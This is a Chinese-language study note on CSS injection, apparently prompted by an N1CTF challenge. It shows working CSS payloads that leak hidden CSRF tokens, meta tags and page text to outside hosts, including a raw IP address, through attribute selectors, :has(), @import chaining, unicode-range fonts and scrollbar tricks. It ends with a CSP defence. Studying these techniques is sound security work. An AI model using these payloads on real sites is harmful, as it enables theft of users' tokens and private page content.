0%

前端安全10-CSS injection(笔记)

前言

没想到N1CTF出了css注入的题,第一眼就觉得是css注入,可惜那时候没学到这块,而且当时还在省赛(虽然应该也做不出来)

CSS注入简介

CSS可以通过判断属性中是否存在某个值,然后向外请求图片,这样就可以偷取存在于页面中的东西了,但是像 document.cookie 应该还是没办法的

利用CSS偷取信息

CSS有两个特性,当把两个特性结合在一起的时候就可以进行攻击了

  1. 属性选择器
  • input[value^=a] 可以选择到开头是a的
  • input[value$=a] 选择结尾是a的
  • input[value*=a] 选择含有a的
  1. 发送请求
    在上面的判断成功后,可以向外发送请求,否则就收不到请求,很经典的类似于bool注入的攻击手法了
    1
    2
    3
    4
    5
    6
    7
    8
    input[name="secret"][value^="a"] {
    background: url(https://myserver.com?q=a)
    }

    input[name="secret"][value^="b"] {
    background: url(https://myserver.com?q=b)
    }
    //....

    这里的input就是input标签,如果想选取例如 <a> 就可以

    1
    2
    3
    4
    5
    6
    7
    <style>
    a[name="secret"][href^="a"] {
    background: url(http://101.43.112.74:9001/?q=a)
    }
    </style>

    <a name="secret" href="abc">a</a>

hidden属性如何偷取

现在页面有如下的代码,应该如何取盗取他的token

1
2
3
4
5
<form action="/action">
<input type="hidden" name="csrf-token" value="abc123">
<input name="username">
<input type="submit">
</form>

如果直接构造前面的那个payload是没有效果的
1
2
3
input[name="csrf-token"][value^="a"] {
background: url(https://example.com?q=a)
}

因为他是hidden属性,并不会显示到页面上,css就不会去加载他
这时候可以去选取他的下一个属性
1
2
3
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}

因为他的下一个属性是存在于页面中的,这时候就能去加载,但是如果这个hidden在最后,比如
1
2
3
4
5
<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>

上面的方法就没法用了

在form外面的是没法加载的,比如你的css是

1
2
3
input[name="csrf-token"][value^="a"] + a {
background: url(http://101.43.112.74:9001)
}

你的代码是
1
2
3
4
5
6
<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>
<a href=#></a>

这样是不会有发出请求的

:has 现在有这么一个选择器

1
2
3
form:has(input[name="csrf-token"][value^="a"]){
background: url(https://example.com?q=a)
}

有这个选择器几乎就可以随便选了,但是目前firefox还不支持这个选择器。

偷meta

一般是通过js获取token,然后去提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html>
<head>
<meta name="csrf-token" content="abc123"> <!-- 这是CSRF令牌 -->
<title>CSRF Token Example</title>
</head>
<body>
<button id="submit-button">提交</button>

<script>
document.getElementById("submit-button").addEventListener("click", function() {
// 从<meta>标签中获取CSRF令牌
var csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');

// 创建一个HTTP请求
var xhr = new XMLHttpRequest();

// 配置请求
xhr.open("POST", "/process", true);

// 设置请求头,包括CSRF令牌
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("X-CSRF-Token", csrfToken);

// 定义请求完成时的回调函数
xhr.onload = function() {
if (xhr.status === 200) {
alert("请求成功!");
} else {
alert("请求失败!");
}
};

// 发送请求
xhr.send("data=example_data");
});
</script>
</body>
</html>

当然,同样可以通过has过滤器去攻击

1
2
3
html:has(meta[name="csrf-token"][content^="a"]) {
background: url(http://exp/);
}

但是meta可以被设置为可见的,与hidden的input不同,不过head也是不可见的,要把head一起设置为可见的(就算不把meta写到head中,浏览器也会自己把他调到head中)

1
2
3
4
5
6
7
head,meta {
display: block;
}

meta[name="csrf-token"][content^="a"] {
background: url(http://exp/);
}

图片不会显示出来,是因为content只是一个属性,并不是HTML的text,但是meta是可见的,只不过他的高度为0

1
2
3
meta:before {
content: attr(content);
}

但是可以利用上面的代码去显示图片

一次性偷取所有字符

前面讲解的方法都只能偷取一次,但是css有一个特性

1
@import url(https://myserver.com/start?len=8)

可以通过上面的代码引入css,那么用下面的代码就可以一次一次去请求value
1
2
3
4
5
6
7
8
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>

这里我设计了一个服务端的脚步用于一次性的css注入

想加快效率,可以通过prefix和suffix的结合来实现两个字符的提取,但是suffix的时候要把 background 改为border-image ,不然的话内容会被覆盖掉,就不会发出请求了

记录一下踩过的坑

  1. 返回的content-type必须设置为text/css
  2. import url最好和background url不一样(没仔细看文章)
  3. 要用border-image,border-background用不了
  4. 从后读取字符的时候,要x+suffix,而不是suffix+x

偷其他东西

unicode-range

通过这种方法可以偷取到其他元素的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}

@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}

@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}

@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}

@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}

@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}

div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>

执行结果如下
chrome:

firefox:

这种方法在chrome中可能不会按照顺序,但是在firefox中是按照顺序的,从图中还可以看到一个问题,就是他不会重复盗取字符,每种字符只能盗取一次

字体高度差异+scrollbar+first-line

  1. 字体高度差异
    假设现在有一种字体 Comic Sans MS ,高度比另一个 Courier New 高。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <html>
    <body>
    <style>
    @font-face {
    font-family: "fa";
    src:local('Comic Sans MS');
    font-style:monospace;
    unicode-range: U+41;
    }
    div {
    font-size: 30px;
    height: 40px;
    width: 100px;
    font-family: fa, "Courier New";
    letter-spacing: 0px;
    word-break: break-all;
    overflow-y: auto;
    overflow-x: hidden;
    }

    </style>
    Secret: <div>DBC</div>
    <div>ABC</div>
    </body>
    </html>

  2. scrollbar
    根据css定义,当内容超过容器高度就会出现scrollbar,那么就可以通过给scrollbar设定背景,进行leak

    1
    2
    3
    4
    5
    6
    7
    div::-webkit-scrollbar {
    background: blue;
    }

    div::-webkit-scrollbar:vertical {
    background: url(https://myserver.com?q=a);
    }
  3. first-line
    现在的问题就是如何解决顺序问题了。
    当把div的宽度设置为20(只能显示一个字母),那么其他字母就会被放到第二行,并且把字体尺寸设置为0。接着用first-line这个选择器把第一行的字改为正常尺寸。这样scrollbar的背景图就能正常加载了,说着有点绕,可以看看代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <!DOCTYPE html>
    <html>
    <body>
    <style>
    @font-face {
    font-family: "fa";
    src:local('Comic Sans MS');
    font-style:monospace;
    unicode-range: U+41;
    }
    div {
    font-size: 0px; //尺寸设置为0
    height: 40px;
    width: 20px; //宽度只够展示一个字符
    font-family: fa, "Courier New";
    letter-spacing: 0px;
    word-break: break-all;
    overflow-y: auto;
    overflow-x: hidden;
    }

    div::first-line{
    font-size: 30px; //用选择器把第一行的字符改为正常的
    }

    </style>
    Secret: <div>CBAD</div>
    </body>
    </html>

详细demo可以参考这个 https://demo.vwzq.net/css2.html

ligature + scrollbar

有点难,暂时不复现

防御方式

增加csp头,比如 style-src 'none' ,详情可以去翻看CSP那篇文章。